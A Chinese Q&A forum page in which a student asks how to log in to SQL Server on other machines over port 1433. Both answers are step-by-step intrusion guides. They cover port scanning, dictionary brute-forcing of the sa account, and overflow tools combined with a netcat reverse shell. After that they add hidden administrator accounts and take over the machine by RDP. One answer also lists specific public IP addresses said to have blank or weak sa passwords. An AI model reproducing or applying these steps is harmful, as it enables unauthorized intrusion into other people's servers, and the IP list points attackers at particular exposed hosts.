怎样测试1433端口入侵?

学校机房的电脑都装着sqlserver用户名和密码我都知道,Windows身份验证的是Administrator ,SQLServer验证的是sa 这两个账号密码都为空登陆我的SQLServer都是没问题的,不知道登陆别人的就是登陆不上去呢?密码都是一样的,在对方电脑上SQLServer如何设置才能登陆他那台电脑呢?
2026年09月28日 09:14
有2个网友回答
网友(1):

scanport.exe 查有1433的机器

SQLScanPass.exe 进行字典暴破(字典是关键)

最后 SQLTools.exe入侵

对sql的sp2及以下的系统,可用sql的hello 溢出漏洞入侵。

nc -vv -l -p 本机端口 sqlhelloF.exe 入侵ip 1433 本机ip 本机端口

(以上反向的,测试成功)

sqlhelloz.exe 入侵ip 1433 (这个是正向连接)

久违的溢出工具

用X-Scan对该站点的Server扫描结果出来了,开的端口还不少呢:53、80、1433、3389。可并没有报告说发现有弱口令,看来网管还算比较有责任心。但开了3389端口,意味着可以远程登录,这可是微软给所有Windows用户献上的最大的“木马”。

通过观察,我发现只有在1433端口上下点工夫,想想办法。何不用SQL2溢出工具试试?

先开一个cmd窗口,祭出宝刀netcat,在命令提示符下敲入“netcat -l -p 99”,监听本地99端口。接着该SQL2出马了。再打开一个cmd窗口,键入“sql2 218.147.*.* 61.157.*.* 0”,其中218.147.*.*是对方IP,61.157.*.*是我自己的IP,回车后提示package sent successful。再回过头去看看监听本地端口的netcat,已经变成了C:\WinNT\system32\_,这就是对方机器的系统文件夹了,看来是成功溢出了,就这么简单。

我很幸运地得到了对方的一个Shell,而且还是administrator权限的。接下来的操作就轻车熟路了,添加用户,提升权限:在提示符下键入“net user hacker 12345 /add”(在对方机器里创建一个名为hacker,密码为12345的用户),再键入“net localgroup administrators hacker /add”(把用户hacker加入到管理员组),接下来就该是3389远程登录了。

首先运行Windows XP自带远程登录器mstsc.exe,填入对方的IP地址218.147.*.*,确定后在登录界面填上我刚创建的用户名hacker和密码12345,顺利地进入了对方的Windows 2000桌面。

218.5.135.66 SQL-Server弱口令: "sa/1234"
218.14.115.111 SQL-Server弱口令: "sa/[空口令]"
218.12.38.52 SQL-Server弱口令: "sa/[空口令]"
218.12.97.14 SQL-Server弱口令: "sa/[空口令]"
218.6.242.228 SQL-Server弱口令: "sa/[空口令]"
222.100.119.3 SQL-Server弱口令: "sa/[空口令]"
222.105.67.200 SQL-Server弱口令: "sa/[空口令]"
222.105.28.130 SQL-Server弱口令: "sa/[空口令]"
222.106.60.51 SQL-Server弱口令: "sa/[空口令]"
222.117.107.1 SQL-Server弱口令: "sa/[空口令]"

在win2000机器上装了mssql的话,机器就会开1433端口。什么 什么是端口?就象食堂买菜的窗口一样,你买白菜上1号窗,买西红柿上2号窗。在机器上买mssql就上1433端口。溢出1433需要两个工具nc.exe和sql2.exe。进攻方法就两步,在自己机器上开一个cmd窗口。对了,你要用win2000的话就在开始-运行-键入cmd回车就成了饿。这里我们只用2000不说98。如果你把你的下的nc.exe和sql2.exe放在C:盘的话,就在你开的这个窗口打入命令c:>nc -1 -p 40回车。这步的意思是用nc这个工具开一个40的端口监听。第二步:再在开始-运行-键入cmd灰尘,再开个窗口。在这个窗口写入命令c:>sql2.exe你要入侵网站的ip和你自己的ip 40 0回车。这里要作点说明:如何得到入侵网站的ip?在cmd下c:>ping 网址,就行了。自己的ip就不用我说了吧?算了还是说下吧,在cmd下键入ipconfig就可以了。其中命令行中的40你可以随便改成别的,但好象40和53的成功率高一点。再是命令中的0不性的话,你就试试1或2。如果入侵网站有这个漏洞的话,那么你开的第一个窗口就会边成肉鸡的c:>winnt\system32>.就是说,你已经进入它的机器里了。进去以后,你可以添加个拥护了。net user guest /active:yes用这个命令,就将默认禁止的guest拥护激火。net user guest 123456这样guest的密码变成了123456了。net localgroup administrators guest /add这就是guest成为最高权限的管理员了。

呵呵,基本就是这样了,,,,
参考资料:http://www.blog.edu.cn/user1/17098/archives/2006/1473706.shtml

希望我回答对你有所帮助

网友(2):

1433端口简介:
SQL Server微软出的一款数据库软件,使之客户与主机交流的这么一个程序。
SQL Server使用的1433端口,其中Sa权限为最高权限,我们就是利用肉鸡Sa口令漏洞来入侵的,
而一般开1433端口的大多是服务器,所以很受大家的“喜爱”。

工具:
scanner(端口扫描工具)
X-Scan-v3.3(扫描电脑漏洞工具)
SQL综合利用工具(非常好的一个SQL连接器,除了可以输入CMD命令外,还可以直接上传软件 )
在百度搜索,一般都有下载,注意去大型正规网站,并且杀毒。

需要记住的命令:
建立用户 net user 帐户 密码 /add (注意空格,帐户密码自己设置)
例如:net user zj 123 /add (帐户zj 密码123)
把帐户提生为管理员组 net localgroup administrators 帐户 /add
一样:net localgroup administrators zj /add (把zj帐户提升为管理员)

正式开始

首先,我们用scanner扫描IP,端口设置为1433
将开放1433端口的IP保存,再重新导入scanner
扫描3389端口,我们的目的始终利用到3389端口了。
将同时开放1433 3389端口的IP保存起来

打开X-Scan-v3.3
导入IP
参数设置选择几个有用的
扫描结束后点漏洞问题
一般会有
SQL-Server弱口令:
"sa/[空口令]"

复制有漏洞的IP
打开SQL综合利用工具
连接 打开利用目录 选择 执行DOS命令
先执行这个建立用户 net user a a /add
然后把A用户提生为管理员组 net localgroup administrators a /add

自己建立自己的帐号,建立好后会显示执行成功